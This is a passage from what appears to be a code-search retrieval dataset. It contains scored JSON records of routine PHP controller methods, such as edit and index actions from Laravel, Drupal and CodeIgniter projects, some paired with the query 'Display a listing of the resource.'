));\n }", "title": "" }, { "docid": "bd5eb4f99db773898848f68b64807602", "score": "0.65725344", "text": "public function edit($id)\n {\n // busca regstro\n $this->repository->findOrFail($id);\n \n // autorizacao\n $this->repository->authorize('update');\n \n // breadcrumb\n $this->bc->addItem($this->repository->model->produto->produto, url('produto', $this->repository->model->produto->codproduto));\n $this->bc->header = $this->repository->model->descricao;\n $this->bc->addItem($this->repository->model->descricao);\n $this->bc->addItem('Alterar');\n \n // retorna formulario edit\n return view('produto-embalagem.edit', ['bc'=>$this->bc, 'model'=>$this->repository->model]);\n }", "title": "" }, { "docid": "87f80527ccf944a69125ffa41418e52d", "score": "0.656931", "text": "public function edit()\n {\n return view('inventory::edit');\n }", "title": "" }, { "docid": "4cb427c029c8f922bb5b7149e530dddc", "score": "0.6568995", "text": "public function edit($id)\n {\n $request = $this->expertMediaRequest->findOrFail($id);\n\n return view('admin.expertrequest.form', compact('request'));\n }", "title": "" }, { "docid": "7a2a16aa982fa32e1bbf88f19cbc245d", "score": "0.6567826", "text": "public function edit()\n {\n return view('initializer::edit');\n }", "title": "" }, { "docid": "45e4675e537bbfcb427d8919d16534d1", "score": "0.6562296", "text": "public function edit($id)\n {\n $model = $this->modelName;\n $item = $model::find($id);\n\n if (!$item) {\n msg('The requested item does not exist or has been deleted.', 'danger');\n return redirect()->route(\"admin.{$this->moduleLower}.index\");\n }\n\n $thisObj = $this;\n Former::populate($item);\n $formButtons = $this->formButtons(__FUNCTION__, $item, null);\n $statusButton = function ($item) use ($thisObj) {\n return $thisObj->renderStatusButtons($item);\n };\n\n // Add validation from model to former\n $validationRules = $model::rulesMergeUpdate();\n\n return view(\"{$this->viewBase}.edit\",\n compact(\n 'item',\n 'formButtons',\n 'statusButton',\n 'validationRules'\n ));\n }", "title": "" }, { "docid": "fbe54f697c308404a46533310933e03d", "score": "0.6561507", "text": "public function edit(Form $Form)\n {\n //\n }", "title": "" }, { "docid": "3e70ed023b5dd49a994b2dcecd6ad17d", "score": "0.65602636", "text": "public function editProductForm($id)\n {\n\n //fetch a single product data from the db with id\n $product = Product::find($id);\n\n return view(\"admin.editProductForm\", [\"product\"=>$product]);\n\n }", "title": "" }, { "docid": "56a9fdf978586649b9ba34518312ed30", "score": "0.655927", "text": "public function edit($id)\n {\n $record = $this->singular;\n $data = $this->service->repository()->getRecord($id);\n $$record = $data;\n\n return view($this->views['edit'], compact($record));\n }", "title": "" }, { "docid": "e5d9b07a25e49927272f5d8d6bb0851b", "score": "0.65563285", "text": "public function edit($id)\n\t{\n return View::make('applications.edit');\n\t}", "title": "" }, { "docid": "b820ff73eff2193b50fc7631693ea243", "score": "0.6554762", "text": "function resources_edit($js, $file) {\n // Setup ctools modal variables.\n $form_state['ajax'] = $js;\n $form_state['build_info']['args'] = array();\n $form_state['cache'] = TRUE;\n\n // Set modal title\n $resource_info = resources_get_info_by_file($file);\n $form_state['title'] = t('Edit @type', array('@type' => $resource_info['label']));\n\n // Get the resource type information.\n $resource_types = resources_get_info();\n\n // Figure out the resource type from the scheme.\n // @todo: Extract into resources_get_info.\n foreach ($resource_types as $resource_type => $resource_type_info) {\n if (variable_get('resources_' . $resource_type . '_file_type', '') === $file->type) {\n $form_state['resource_type'] = $resource_type;\n break;\n }\n }\n\n // Keep track of the file object.\n $form_state['file'] = $file;\n\n // Add file entity form.\n form_load_include($form_state, 'pages.inc', 'file_entity');\n\n // Add more modal information.\n ctools_include('modal');\n\n // Get the ctools version of the form.\n $output = ctools_modal_form_wrapper('resources_edit_form', $form_state);\n\n // If we are not using javascript then just return the output.\n if (!$js) {\n return $output;\n }\n\n // Set the ctools form settings to a commands variable we'll use to combine\n // other commands.\n $commands = $output;\n\n // If a button executes the form but also flags the form to be rebuilt, do not\n // treat it as an actual form submission, and do not close the modal.\n if (!empty($form_state['executed']) && !$form_state['rebuild']) {\n // Add ajax javascript from ctools.\n ctools_include('ajax');\n\n // Add our javascript.\n ctools_add_js('resources-modal-helper', 'resources');\n $commands = array();\n // If there are status messages, print them.\n if ($messages = theme('status_messages')) {\n $commands[] = ajax_command_html('#console', $messages);\n }\n\n // Add the javascript function we want to call.\n // Pass the rendered output of a resource and the fid.\n $commands[] = array(\n 'command' => 'resources_edit_resource',\n 'resource' => _resources_generate_resource_preview_html($form_state['file']),\n 'fid' => $form_state['file']->fid,\n );\n\n // Close the modal.\n $commands[] = ctools_modal_command_dismiss();\n }\n print ajax_render($commands);\n exit();\n}", "title": "" }, { "docid": "b06e6a42f2e8bf527923d5480998d1f4", "score": "0.6551081", "text": "public function edit($id)\n\t{\n $employee = Employee::find($id);\n\n return View::make('employee.edit')\n ->with('employee', $employee);\n\t}", "title": "" }, { "docid": "a7e2c450a9ec8d35cddcb8dabd65d41c", "score": "0.6547772", "text": "public function edit($id)\n {\n $formulario = Formulario::findOrFail($id);\n\n return view('formulario.edit', compact('formulario'));\n }", "title": "" }, { "docid": "8ffff9b8ef10bb7d3e390e5ab3a54d03", "score": "0.65450364", "text": "public function editAction()\n {\n View::renderTwigTemplate('/UserDetail/edit.html', [\n 'user' => Authenticate::getUser()\n ]);\n }", "title": "" }, { "docid": "a171c7211a9f37ff1b48786fe5cc4a57", "score": "0.6544891", "text": "public function edit()\r\n {\r\n $model = new ProductModel();\r\n\r\n $model->loadData($this->request->all());\r\n $model->loadData($model->one(\"id = $model->id\"));\r\n\r\n echo $this->view(\"productUpdate\", \"main\", $model);\r\n }", "title": "" }, { "docid": "0e871b4496a7eeea573b74dde7e4b70e", "score": "0.6543522", "text": "public function edit($id)\n {\n $form = Form::findOrFail($id);\n $this->authorize('update', $form);\n $platforms = $this->getPlatforms();\n return view('web.form.create')->with([\n 'method' => 'PUT',\n 'url' => route('web.form.update', $id),\n 'form' => $form,\n 'wechatPlatforms' => $platforms,\n ]);\n }", "title": "" }, { "docid": "3ca8fe1ab3811a7f61b09f62a71b8e9a", "score": "0.6540461", "text": "public function edit($id)\n\t{\n\t\ttry {\n\t\t\t$employee = Employee::findOrFail($id);\n\t\t\treturn View::make('employees.edit', ['employee'=>$employee]);\n\t\t\t\n\t\t} catch (ModelNotFoundException $e) {\n\t\t\treturn View::make('errors.model');\n\t\t}\n\n\t}", "title": "" }, { "docid": "f45506e1eb4c9818c7c6486f9f220b97", "score": "0.65383214", "text": "public function edit($id)\n {\n //see modal controller\n }", "title": "" }, { "docid": "9e0e527bb293d8f6f1f6889c0969986d", "score": "0.65382206", "text": "function edit(){\n\t\t$id = $this->input->get('id');\n\t\t$data = array();\n\t\t$data['title']\t\t= 'Edit '.$this->title;\n\t\t$data['controller']\t= $this->controller;\n\t\t$data['state']\t\t= 'edit';\n\t\t$data['id'] \t\t= $id;\n\n\t\t// because it's simple index and form, use user form\n\t\t$data['table_field'] = $this->user->table_field;\n\t\tforeach ($data['table_field'] as $i => $tf) {\n\t\t\tif($tf['type'] == 'select'){\n\t\t\t\t$this->load->model($tf['value'][0]);\n\t\t\t\t$data['table_field'][$i]['value'] = $this->{$tf['value'][0]}->populate_select($tf['value'][1], $tf['value'][2], $tf['value'][3]);\n\t\t\t}elseif($tf['type'] == 'select-year'){\n\t\t\t\t$this->load->model($tf['value'][0]);\n\t\t\t\t$data['table_field'][$i]['value'] = $this->{$tf['value'][0]}->populate_select_year($tf['value'][1], $tf['value'][2], $tf['value'][3]);\n\t\t\t}\n\t\t}\n\t\t$data['primary_key'] = $this->user->primary_key;\n\t\t$data['content']\t= 'content/common/form';\n\t\t$data['datas'] = $this->user->get(decrypt_id($id));\n\n\t\t$data['datas'] = $this->user->reformat_sql_to_form($data['datas']);\n\n\t\t$this->template($data);\n\t}", "title": "" }, { "docid": "1283f826be7043d4d5a97c16e640665a", "score": "0.6535167", "text": "public function edit()\n {\n return view('moduleshop::edit');\n }", "title": "" }, { "docid": "4a8ca9e90c9a453275db5ced549faeff", "score": "0.653264", "text": "public function edit($id)\n\t{\n\t\t$contactinfo = ContactInfo::find($id);\n\t \n\t \n\t\treturn view('admin.contactinfo.edit', compact('contactinfo'));\n\t}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "39c963ef1671c6880dc618829d231607", "score": "0.0", "text": "public function index()\n\t{\n\t\t$promotores = $this->promotores()->get()->map(function($promotor){\n\t\t\t$promotor->nombreGrupo = $promotor->grupo->nombre;\n\t\t\treturn $promotor;\n\t\t});\n\n\t\treturn $promotores;\n\t}", "title": "" } ]
[ { "docid": "d37ee75c4feac8dcd7712d902a70bf82", "score": "0.7606416", "text": "public function listAction()\n {\n \t/**\n \t * @todo return a paginated and ordered list, selecting only valid elements (move valid clause to rowset)\n \t */\n \t$this->view->resources = $this->_table->fetchAll(null, null, 15);\n }", "title": "" }, { "docid": "de80270cda7dc6348112d1542c1c3b6a", "score": "0.74901474", "text": "public function listingAction() {\r\n\r\n\t\t// Search Params\r\n\r\n\t\t// Do the show thingy\r\n\t\t\t// Get an array of friend ids\r\n\t\t\t// Get stuff\r\n\t\t\t// unset($values['show']);\r\n\r\n\t\t// Get blog paginator\r\n\r\n\t\t// Render\r\n\t\t$this -> _helper -> content -> setNoRender() -> setEnabled();\r\n\t}", "title": "" }, { "docid": "7a3b535f1a43231cd882da50772ec5ee", "score": "0.74616355", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', []);\n $filter = $this->Request()->getParam('filter', []);\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign(['success' => true, 'data' => $result]);\n }", "title": "" }, { "docid": "8e2e0cd6669d378062a560c70954d431", "score": "0.741647", "text": "public function indexAction(): void\n {\n $limit = (int) $this->Request()->getParam('limit', 1000);\n $offset = (int) $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', []);\n $filter = $this->Request()->getParam('filter', []);\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "c11d55ce36b9b6bf39c0094bfe5d0fd7", "score": "0.73690873", "text": "protected function listAction()\n {\n $this->dispatch(EasyAdminEvents::PRE_LIST);\n\n $fields = $this->entity['list']['fields'];\n $paginator = $this->findAll($this->entity['class'], $this->request->query->get('page', 1), $this->config['list']['max_results'], $this->request->query->get('sortField'), $this->request->query->get('sortDirection'));\n\n //add url parameter as hidden input in the search form\n $urlParameters = $this->getUrlParameters('search');\n $this->request->request->set('extraParameters', $urlParameters);\n\n $this->dispatch(EasyAdminEvents::POST_LIST, array('paginator' => $paginator));\n\n if (method_exists($this, $customMethodName = 'create'.$this->entity['name'].'SearchForm')) {\n $searchForm = $this->{$customMethodName}();\n } else {\n $searchForm = $this->createSearchForm();\n }\n\n return $this->render($this->entity['templates']['list'], array(\n 'paginator' => $paginator,\n 'fields' => $fields,\n 'searchForm' => $searchForm->createView(),\n 'delete_form_template' => $this->createDeleteForm($this->entity['name'], '__id__')->createView(),\n ));\n }", "title": "" }, { "docid": "e008dc293c8e1bdcbf38634c0f67a5d1", "score": "0.7354057", "text": "public function listAction() {\r\n\t\t// Preload info\r\n\r\n\r\n\t\t// Search Params\r\n\r\n\r\n\t\t// Get paginator\r\n\t\t// Render\r\n\t\t$this -> _helper -> content -> setNoRender() -> setEnabled();\r\n\t}", "title": "" }, { "docid": "e508f26cee6b6110b5e315b37bf01715", "score": "0.7304216", "text": "public function actionList()\n {\n $entity = $this->getEntity();\n if (!$entity->canList()) {\n $this->setEntityFlash('error', 'Unable to list {name}.');\n $this->redirectParent();\n }\n $this->render('list', array(\n 'entity' => $entity,\n ));\n }", "title": "" }, { "docid": "109b33b70bf69a93460d062b2f83502f", "score": "0.72250855", "text": "public function index()\n {\n $resources = $this->objStoreResource->getAllResource(auth()->id());\n return view('home.resource.index',compact('resources'));\n }", "title": "" }, { "docid": "68f3dc8f909d1dfb5a37b582d41cec68", "score": "0.71984386", "text": "public function index()\n {\n\n extract($this->getResourceNames());\n\n $items = $modelPath::sortable()->paginate();\n \n\n\n return $this->compileView($resourceMultiple . '.index', [$resourceMultiple => $items]);\n }", "title": "" }, { "docid": "90f60a2d2b3c2500e55bda8c3ba362da", "score": "0.7189064", "text": "public function index()\n {\n $resources = $this->resourceRepository->all();\n\n return $this->sendResponse($resources->toArray(), \"Resources retrieved successfully\");\n }", "title": "" }, { "docid": "97f3caf6ecee75a55fbfadca2b98a829", "score": "0.718347", "text": "protected function index()\n {\n $categories = Listing::paginate(10);\n return ListingResource::collection($categories);\n }", "title": "" }, { "docid": "7a45345cbd9a9dd304c36c4a494e5375", "score": "0.71166646", "text": "public function index()\n {\n return $this->response->paginator(\n $this->filterQuery()->orderBy('id', 'desc')->paginate(request('limit', 10)),\n $this->transformer,\n ['key' => $this->resource_key]\n );\n }", "title": "" }, { "docid": "7ca504ed4a4a2ab91d9d42ce768fbca1", "score": "0.71100986", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findAll();\n\n return $this->render('resource/index.html.twig', array(\n 'resources' => $resources,\n ));\n }", "title": "" }, { "docid": "260bd7b6f859caf980dd2ec389de158f", "score": "0.70980227", "text": "public function listAction()\n {\n $this->users->denyAccessToPage('admin');\n \n $all = $this->users->findAll();\n $status = $this->users->IsAuthenticated();\n \n $this->theme->setTitle(\"Visa alla användare\");\n $this->views->add('users/list-all', [\n 'users' => $all,\n 'title' => \"Visa alla användare\",\n 'status' => $status,\n ], 'main');\n \n $this->views->add('users/users-sidebar', [], 'rsidebar');\n }", "title": "" }, { "docid": "3ff8464571003af8b9340bbfec1e3e20", "score": "0.7086855", "text": "public static function listing()\n {\n echo new \\UMS\\Views\\Standard('listing.phtml');\n }", "title": "" }, { "docid": "24716f78fa1798ecee7344c0553e427b", "score": "0.70838076", "text": "protected function listAction()\n {\n $this->dispatch(EasyAdminEvents::PRE_LIST);\n\n $fields = $this->entity['list']['fields'];\n $paginator = $this->findAll($this->entity['class'], $this->request->query->get('page', 1), $this->entity['list']['max_results'], $this->request->query->get('sortField'), $this->request->query->get('sortDirection'), $this->entity['list']['dql_filter']);\n\n $this->dispatch(EasyAdminEvents::POST_LIST, array('paginator' => $paginator));\n\n $parameters = array(\n 'paginator' => $paginator,\n 'fields' => $fields,\n 'delete_form_template' => $this->createDeleteForm($this->entity['name'], '__id__')->createView(),\n );\n\n return $this->render('@VortexginWebBundle/EasyAdmin/list.html.twig', $parameters); \n }", "title": "" }, { "docid": "19fc4ced7c3387dd13afa92c5a8afae5", "score": "0.7055982", "text": "public function do_list()\r\n\t{\r\n\t\t$sorter = array(\r\n\t\t\t'name' => \"sorter\",\r\n\t\t\t'default' => 'name ASC',\r\n\t\t\t'options' => array(\r\n\t\t\t\t\"name ASC\" => \"Name\",\r\n\t\t\t)\r\n\t\t);\r\n\r\n\t\t$result = $this->model->get_records(array(\r\n\t\t\t'conditionset' => array(\r\n\t\t\t),\r\n\t\t\t'sorter' => $sorter,\r\n\t\t\t'limit' => 10\r\n\t\t\t));\r\n\r\n\t\tinclude($this->get_path(self::ACTION_TYPE_LIST));\r\n\t}", "title": "" }, { "docid": "f882d8455ca2c120342f2b2b1a1c2565", "score": "0.70269185", "text": "public function index()\n {\n $resources = DB::table('admin_resource')\n ->get()\n ->toArray();\n return view('admin.resource.index',compact('resources'));\n }", "title": "" }, { "docid": "ceecc69a5c7cd4cd8ab66be42cbae5ba", "score": "0.69903934", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst($this->crud->entity_name_plural);\n\n // get all entries if AJAX is not enabled\n if (! $this->data['crud']->ajaxTable()) {\n $this->data['entries'] = $this->data['crud']->getEntries();\n }\n\n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n\t\t//return view('bcrud::list', $this->data);\n }", "title": "" }, { "docid": "03aab1a3d0f29df3c9c01f676da4d986", "score": "0.6990013", "text": "public function index()\n\t{\n\t\t$this->listing('recent');\n\t}", "title": "" }, { "docid": "c93e1e2d6b3b2e51a961fef1bdfbb734", "score": "0.69843286", "text": "public function index()\n {\n //\n $pagesize = 20;\n $query = DataResource::orderBy('listorder','desc');\n $list = $query->paginate($pagesize);\n return view('admin.resources',['data'=>$list,'url'=>$this->url]);\n }", "title": "" }, { "docid": "a7c37722ff451d4806db867c3084436e", "score": "0.6982161", "text": "public function listing() {\r\n\r\n\t\t// Get the list of incidents from the database\r\n\t\t$incidents = $this->incident_model->list_all();\r\n\r\n\t\t// Prepare the data for the page\r\n\t\t$data = array(\r\n\t\t\t\t'title' => 'Listing of Incidents',\r\n\t\t\t\t'view' => 'incident/list',\r\n\t\t\t\t'incident_listing' => $this->incident_model->list_all()\r\n\t\t\t);\r\n\r\n\t\t// Load the view\r\n\t\t$this->load->view('main_template', $data);\r\n\r\n\t}", "title": "" }, { "docid": "36e3954f88638a9532a787d2cc444a30", "score": "0.6978826", "text": "function listAction() {\n $existing_api = _factory('sitemin_api_model_api')->get_gateway();\n $rs['api'] = $existing_api;\n $rs['_token'] = defaultHelper::page_hash_set('api,list');\n $rs['tpl'] = '/sitemin/api/view/_api_list.phtml';\n $rs['TITLE'] = 'API LIST';\n return array('view' => '/sitemin/view/index.phtml', 'data' => array('rs' => $rs));\n }", "title": "" }, { "docid": "970e35836b9768276ac32a7f819d569f", "score": "0.6968308", "text": "public function index()\n {\n return \"Here is the listing page.\";\n }", "title": "" }, { "docid": "18cd5639adcca5b283e7352aa46af4de", "score": "0.6958032", "text": "public function index()\n {\n $this->userCollectListing('0', 'ALL');\n }", "title": "" }, { "docid": "e04c1be5ce440db436266eabe923599a", "score": "0.69566864", "text": "public function index() {\n\t\tSession::set(\"list_refer\", $_SERVER['REQUEST_URI']);\n\t\t$this->set_order();\n\t\t$this->display_action_name = 'List Items';\n\t\t$this->all_rows = $this->model->tree();\n\n\t\tif(!$this->all_rows) $this->all_rows = array();\n\t\t$this->filter_block_partial = $this->render_partial(\"filter_block\");\n\t\t$this->list = $this->render_partial(\"list\");\n\t}", "title": "" }, { "docid": "a4e3ca4a3d5bf61db50faf86a8841ea7", "score": "0.6956669", "text": "public function index()\n {\n return view('admin::resource.index');\n }", "title": "" }, { "docid": "7f07ef0085f42180361c2986a0c246bc", "score": "0.6918525", "text": "public function index () {\n\t\t$this->showAll();\n\t}", "title": "" }, { "docid": "aa6c01f133b8fa50888c5287d810e174", "score": "0.6903481", "text": "public static function list() {\n $books = Book::findAll();\n\n // 2. Return/include de la view\n include( __DIR__ . '/../views/books/list.php');\n\n }", "title": "" }, { "docid": "cdbe57e5f68037a7d673227250684866", "score": "0.68892807", "text": "public function index()\n {\n return SpecializationResource::collection(Spec::paginate(10));\n }", "title": "" }, { "docid": "ce119cc9f5dd3ee1904e1fd10c2e5f4f", "score": "0.68724656", "text": "public function _list()\n\t{\n\t\t_root::getRequest()->setAction('list');\n\n\t\t$oAwardModel = new model_award();\n\t\t$tAwards = $oAwardModel->findAll();\n\n\t\t$oView = new _view('awards::list');\n\t\t$oView->tAwards = $tAwards;\n\n\t\t$this->oLayout->add('work', $oView);\n\t}", "title": "" }, { "docid": "5cbfcb7b405ab167a69ee36809e4e4c6", "score": "0.6869745", "text": "public function index()\n {\n // Get items\n // $items = Item::orderBy('type', 'asc')->paginate(5);\n $items = Item::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of items as a resource\n return (ItemResource::collection($items))->response()->setStatusCode(200);\n }", "title": "" }, { "docid": "3880db888810873a15926adf0aeab153", "score": "0.6866113", "text": "public function action_list()\n {\n $model = Request::$current->param('model');\n $this->template->main->content = Model_Annex_Content::show_list($model);\n }", "title": "" }, { "docid": "22231d816d7e2f1e58fb69799b2104dc", "score": "0.68626547", "text": "public function index()\n {\n $resources = Resource::all();\n\n return view('resources.index', compact('resources'));\n }", "title": "" }, { "docid": "06987da1b6d89d3d1c996205e8a37e46", "score": "0.6860681", "text": "public function index()\n {\n //$records = Category::paginate();\n $records = Category::all();\n //return CategoryResource::collection($records);\n return $this->showAll($records);\n }", "title": "" }, { "docid": "0c8e64e28536e6fe176ead46e1742dc1", "score": "0.68515134", "text": "public function list()\n\t{\n\t\tglobal $venus;\n\t\t$this->prepare_items();\n\n\t\t$venus->plugins->run($this->prefix . 'list', $this);\n\t}", "title": "" }, { "docid": "fdd2aa08ee39ff613dfb2d2d853d735e", "score": "0.68383366", "text": "public function index()\n {\n $this->checkPermission('shg_management_view');\n try {\n $data = $this->service->viewAllPartOne();\n $data = ShgListingResource::collection($data);\n\n return $this->respondWithSuccess($data);\n } catch (\\Throwable $th) {\n\n return $this->respondWithError($th);\n }\n }", "title": "" }, { "docid": "e5f507dbbe2411d3908a15f2210bc3ea", "score": "0.68353844", "text": "public function listAction() {\n $this->view->books = R::getAll('SELECT * FROM book WHERE title = :title', [':title' => 'Nodejs']);\n\n $this->render('list');\n }", "title": "" }, { "docid": "f29709817ec3db2d44ad77fdc0a55269", "score": "0.68278646", "text": "public function _index()\n\t{\n\t\t$this->_list();\n\t}", "title": "" }, { "docid": "41b8938878fc471b8e628e34cd112379", "score": "0.68013376", "text": "public function index(): ListResourceCollection\n {\n return new ListResourceCollection(TodoList::paginate(10));\n }", "title": "" }, { "docid": "0745910a7b8ed31535e75cefd27b7b8c", "score": "0.67996114", "text": "public function showAllAction()\n {\n //find all recipes in database\n $recipes = $this->getDoctrine()->getRepository('AppBundle:Recipe')->findAll();\n\n // show all recipes as links(it is set in Twig)\n return ['recipes' => $recipes];\n }", "title": "" }, { "docid": "d3a3617a0e0a9e2771655b1532f470c2", "score": "0.6792582", "text": "public function index()\n\t{\n\t\treturn BookResource::collection(Book::paginate(10));\n\t\t\n\t}", "title": "" }, { "docid": "8a85663335231f3143dcbf588b19dbfa", "score": "0.6787358", "text": "public function index()\n {\n $substances = $this->model->paginate();\n return $this->getView(__FUNCTION__ , compact('substances'));\n }", "title": "" }, { "docid": "1d602c01714319f06611ab4c66abd251", "score": "0.67863363", "text": "public function index()\n {\n //Retrieve all podcasts, ordered in descending order by their id value\n $podcasts = Podcast::orderBy('id', 'desc')->paginate(15);\n //Return the list of podcasts as a collection of PodcastResource instances\n return PodcastResource::collection($podcasts);\n }", "title": "" }, { "docid": "49c1d78d94eec140cbd39c5a0665f7cf", "score": "0.6781152", "text": "public function index()\n {\n // Get modules\n $modules = Module::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of modules as a resource\n return ModuleResource::collection($modules);\n }", "title": "" }, { "docid": "b8bbd5c4b2b076654ec4820cf0f4f302", "score": "0.6775927", "text": "public function index()\n {\n return ResponseHelper::findSuccess(\n 'Items',\n ItemResource::collection(Item::all())\n );\n }", "title": "" }, { "docid": "d73771ef09d730c6579f2a991515d849", "score": "0.67721117", "text": "public function index()\n {\n $loans = Loan::paginate();\n return LoanResource::collection($loans);\n }", "title": "" }, { "docid": "cdf88fbb286dc19c1ad1e099d34c24cd", "score": "0.6753269", "text": "public function indexAction() {\n $this->view->headTitle('List Student');\n\n $currentPageNumber = $this->getParam(\"page\", 1);\n $itemPerPage = $this->getParam(\"size\", 3);\n\n $paginator = $this->__factoryPaginator($currentPageNumber, $itemPerPage);\n $this->view->listStudents = $paginator;\n }", "title": "" }, { "docid": "a558183236ee0a06301b5345bfbe3fe1", "score": "0.6749485", "text": "public function index()\n {\n $companies = Company::paginate();\n\n return $this->resp->ok(eRespCode::C_LISTED_200_00, new CompaniesPaginationResourceCollection($companies));\n }", "title": "" }, { "docid": "e875f9f43f0899fd4868233dc7733127", "score": "0.6726193", "text": "public function index()\n {\n //\n $loan = Loan::all();\n return LoanResource::collection($loan);\n }", "title": "" }, { "docid": "5f95d2756a5e123a83fb7c11ebb43128", "score": "0.67245764", "text": "public function showList()\n\t{\n\t\tinclude(\"/m23/inc/i18n/\".$GLOBALS[\"m23_language\"].\"/m23base.php\");\n\t\tHTML_showTableHeading($I18N_objectStorageObjectName, $I18N_description, $I18N_status/*, $I18N_action*/);\n\t\tforeach ($this->foundObjects as $object)\n\t\t\tHTML_showTableRow($this->getCOSName($object), $this->getCOSDescription($object), $this->getCOSStatusHumanReadable($object)/*, $this->getCOSStatus($object)*/);\n\t}", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.6724347", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67095095", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "a69ac66edc8a557759a001c94242c947", "score": "0.67070967", "text": "function list() {\n global $app;\n $sth = $this->PDO->prepare(\"SELECT * FROM person\");\n $sth->execute();\n $result = $sth->fetchAll(\\PDO::FETCH_ASSOC);\n $app->render('default.php', [\"data\" => $result], 200);\n }", "title": "" }, { "docid": "7199baaacb728985be1992dbc56397e3", "score": "0.67052066", "text": "public function getIndex()\r\n { \r\n $response = $this->modelService->getAll();\r\n\r\n //return resources listing view\r\n return view(\\OogleeUConfig::get('config.user_index.index'), compact('response'));\r\n }", "title": "" }, { "docid": "61a33e299a8771fe4e3edd28a88e59b8", "score": "0.669421", "text": "public function index()\n {\n $studentRecords = $this->studentRepository->getAllStudentRecords();\n return StudentResource::collection($studentRecords);\n }", "title": "" }, { "docid": "d5baeaa346c5c7d82493b224630a04fd", "score": "0.6693122", "text": "public function list()\n {\n return view('list', [\n 'component' => 'data-list',\n 'title' => 'Assets',\n 'create_url' => 'assets/create',\n 'count' => Asset::count(),\n 'columns' => [\n 'Path' => 'path',\n ],\n 'rows' => Asset::paginate(10)\n ]);\n }", "title": "" }, { "docid": "350cb7824776140ada3444d8b63c2b9a", "score": "0.6684021", "text": "public function actionList() {\n \n $allartists = array();\n $allartists = Artist::getArtistList();\n $role = Role::getRoles();\n \n require_once(ROOT . '/views/lists/artistlist.php');\n }", "title": "" }, { "docid": "e499e3e7f1a366ffebb6385468f3a0c5", "score": "0.6676316", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $lists = $em->getRepository('HunterBundle:Lists')->findAll();\n\n return $this->render('lists/index.html.twig', array(\n 'lists' => $lists,\n ));\n }", "title": "" }, { "docid": "fc34d7bf0a8503064964866cc73ae555", "score": "0.6662001", "text": "function action_ResourceList()\n {\n\n $this->view = 'ResourceList';\n }", "title": "" }, { "docid": "aa14178a7d612bc110499d18b35cfe1c", "score": "0.6653213", "text": "public function index()\n {\n return TodoResource::collection($this->todoRepository->findAll());\n }", "title": "" }, { "docid": "3768e67b371a22f226e966a98bb745f7", "score": "0.6652449", "text": "public static function list()\n {\n $data = [];\n $data[\"products\"] = DefaultModel::getProducts();\n\n View::createRoot(\"product-list\", $data)->render();\n }", "title": "" }, { "docid": "da0cc4a612f27e870e1a151346a2b1e3", "score": "0.66509926", "text": "public function index()\n {\n $sub_brand_details = SubBrandDetails::paginate(10);\n return SubBrandDetailsResource::collection($sub_brand_details);\n }", "title": "" }, { "docid": "7fe029aedf53dcfabf4dbd68136e211f", "score": "0.6646961", "text": "public function index()\n {\n $items = Item::all();\n return ItemResource::Collection($items);\n }", "title": "" }, { "docid": "d1c36ec734b04a00b0316be8705fdc95", "score": "0.6645573", "text": "public function defaultAction()\n {\n $this->listing();\n }", "title": "" }, { "docid": "d9dcf3302214d3795a06e4d23822d158", "score": "0.66452336", "text": "public function index()\n {\n $this->setDefaultData();\n $this->paginate = [\n 'contain' => ['RegisteredUsers', 'Listings'],\n 'conditions' => ['RegisteredUsers.username'\n => $this->Auth->user()['username']]\n ];\n $sellingLists = $this->paginate($this->SellingLists);\n\n $this->set(compact('sellingLists'));\n $this->set('_serialize', ['sellingLists']);\n }", "title": "" }, { "docid": "875081e376ab728c3750171aff9d42f9", "score": "0.66435844", "text": "public function index()\n {\n $items = $this->item->paginate(10);\n\n return $this->response->view('admin.item.index', [\n 'items' => $items\n ]);\n }", "title": "" }, { "docid": "ddd89648877f652ca4fa01f7cfa10b0c", "score": "0.66341066", "text": "public function index()\n {\n return \\response()->json($this->listing->all());\n }", "title": "" }, { "docid": "a3074d45fbccf32cdbe6810d56d21449", "score": "0.662699", "text": "public function listAction()\n {\n $this->service->setPaginatorOptions($this->getAppSetting('paginator'));\n $page = (int) $this->param($this->view->translate('page'), 1);\n $projects =$this->service->retrieveAllInvestmentProjects($page);\n $this->view->projects = $projects;\n $this->view->paginator = $this->service->getPaginator($page);\n $this->view->role = Zend_Auth::getInstance()->getIdentity()->roleName;\n }", "title": "" }, { "docid": "db782cdc73caf0645a9287f4d968586b", "score": "0.6625928", "text": "public function actionList()\n {\n $dataProvider = Event::getEventsForView();\n return $this->render('list', ['listDataProvider' => $dataProvider]);\n }", "title": "" }, { "docid": "9d24fae63c3b76b647f11d2a4ee6986d", "score": "0.6618599", "text": "public function listAction() {\n $this->layout('layout/json');\n\n $sSystemKey = $_REQUEST['systemkey'];\n\n # get list label from query\n $sLang = 'en_US';\n if(isset($_REQUEST['lang'])) {\n $sLang = $_REQUEST['lang'];\n }\n\n // translating system\n $translator = new Translator();\n $aLangs = ['en_US','de_DE'];\n foreach($aLangs as $sLoadLang) {\n if(file_exists(__DIR__.'/../../../oneplace-translation/language/'.$sLoadLang.'.mo')) {\n $translator->addTranslationFile('gettext', __DIR__.'/../../../oneplace-translation/language/'.$sLang.'.mo', 'skeleton', $sLoadLang);\n }\n }\n\n $translator->setLocale($sLang);\n\n try {\n $oInstanceTbl = CoreController::$oServiceManager->get(\\OnePlace\\Instance\\Model\\InstanceTable::class);\n } catch(\\RuntimeException $e) {\n echo 'could not load instances';\n return false;\n 